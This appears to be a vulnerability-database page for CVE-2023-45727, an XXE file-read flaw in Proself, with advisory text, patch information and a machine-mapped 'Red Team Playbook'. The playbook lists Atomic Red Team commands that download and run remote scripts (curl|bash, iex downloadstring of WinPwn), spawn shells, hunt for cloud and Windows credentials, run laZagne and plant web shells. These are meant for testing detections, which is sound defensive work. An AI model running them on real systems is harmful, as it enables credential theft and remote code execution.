CVE-2023-45727
Overview
This vulnerability is an XML External Entity (XXE) injection affecting the XML parser in North Grid Corporation Proself Enterprise, Standard, Gateway, and Mail Sanitize Editions. The root cause lies in improper handling and validation of XML input data, allowing external entity references to be processed. The affected components parse XML requests without sufficient sanitization, enabling malicious XML payloads to be interpreted by the server.
Vulnerability Description
Proself Enterprise/Standard Edition Ver5.62 and earlier, Proself Gateway Edition Ver1.65 and earlier, and Proself Mail Sanitize Edition Ver1.08 and earlier allow a remote unauthenticated attacker to conduct XML External Entity (XXE) attacks. By processing a specially crafted request containing malformed XML data, arbitrary files on the server containing account information may be read by the attacker.
Impact
An unauthenticated remote attacker can exploit this vulnerability to read arbitrary files on the affected server containing sensitive account information. No user interaction or credentials are required to trigger the exploit. This unauthorized access can lead to data breaches involving confidential user data and potentially facilitate further attacks by exposing internal configuration or credential files. The confidentiality of the system is compromised, impacting business operations reliant on data integrity and privacy.
Solution
North Grid Corporation has released security updates addressing this vulnerability. Users should upgrade Proself Enterprise and Standard Editions to versions later than 5.62, Gateway Edition beyond 1.65, and Mail Sanitize Edition above 1.08. Detailed patch instructions and advisory information are available at https://www.proself.jp/information/153/. Applying these updates disables external entity processing in XML parsers to mitigate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question arises from the improper handling of XML data within specific editions of Proself software, which includes the Enterprise, Standard, Gateway, and Mail Sanitize Editions. This flaw allows for XML External Entity (XXE) attacks, where an attacker can exploit the XML parser to gain unauthorized access to files on the server. By sending a specially crafted XML request, an attacker can manipulate the parser to read sensitive files, potentially exposing account information and other critical data stored on the server. The root cause of this vulnerability lies in the inadequate validation and sanitization of XML input, which is a common oversight in applications that rely heavily on XML for configuration or data exchange.
Attack vectors for this vulnerability are primarily remote and can be executed by unauthenticated users. An attacker could leverage various methods to deliver the malicious XML payload, such as through web forms, API calls, or other input fields that accept XML data. Once the malformed XML is processed by the application, the attacker can instruct the XML parser to access local files on the server, leading to unauthorized data disclosure. Scenarios may include retrieving sensitive configuration files, user credentials, or other proprietary information that could be used for further exploitation or to compromise the integrity of the system.
The real-world impact of this vulnerability can be significant, especially for organizations that utilize the affected Proself products in their operations. The potential exposure of sensitive information can lead to severe business risks, including data breaches, regulatory fines, and reputational damage. Organizations may face legal repercussions if they fail to protect user data adequately, particularly in industries governed by strict data protection regulations. Additionally, the loss of customer trust due to a data breach can have long-lasting effects on a business's bottom line, making it imperative for organizations to address such vulnerabilities promptly.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments and penetration testing can help identify potential weaknesses in the application. Employing web application firewalls (WAFs) can also provide an additional layer of security by filtering out malicious requests before they reach the server. Furthermore, developers should ensure that XML parsers are configured securely, with features like DTD (Document Type Definition) processing disabled, and that input validation and sanitization are rigorously applied. Keeping software up to date with the latest patches is crucial, as vendors often release updates to address known vulnerabilities.
In conclusion, the vulnerability present in the Proself software suite poses a significant threat to organizations that rely on these products for their operations. The ability for an unauthenticated attacker to exploit XML processing flaws underscores the importance of secure coding practices and robust security measures. By understanding the technical details, potential attack vectors, and real-world implications of this vulnerability, organizations can take proactive steps to safeguard their systems and protect sensitive information from unauthorized access.
Affected Products (4)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Northgrid | Proself | All |
cpe:2.3:a:northgrid:proself:*:*:*:*:mail_sanitize:*:*:*
|
|
|
Northgrid | Proself | All |
cpe:2.3:a:northgrid:proself:*:*:*:*:gateway:*:*:*
|
|
|
Northgrid | Proself | All |
cpe:2.3:a:northgrid:proself:*:*:*:*:enterprise:*:*:*
|
|
|
Northgrid | Proself | All |
cpe:2.3:a:northgrid:proself:*:*:*:*:standard:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-221 | Data Serialization External Entities Blowup |
37%
|
— | — |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-45727 |
| proself.jp |
GitHub CVE
|
https://www.proself.jp/information/153/ |
| jvn.jp |
GitHub CVE
|
https://jvn.jp/en/jp/JVN95981460/ |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-45727 |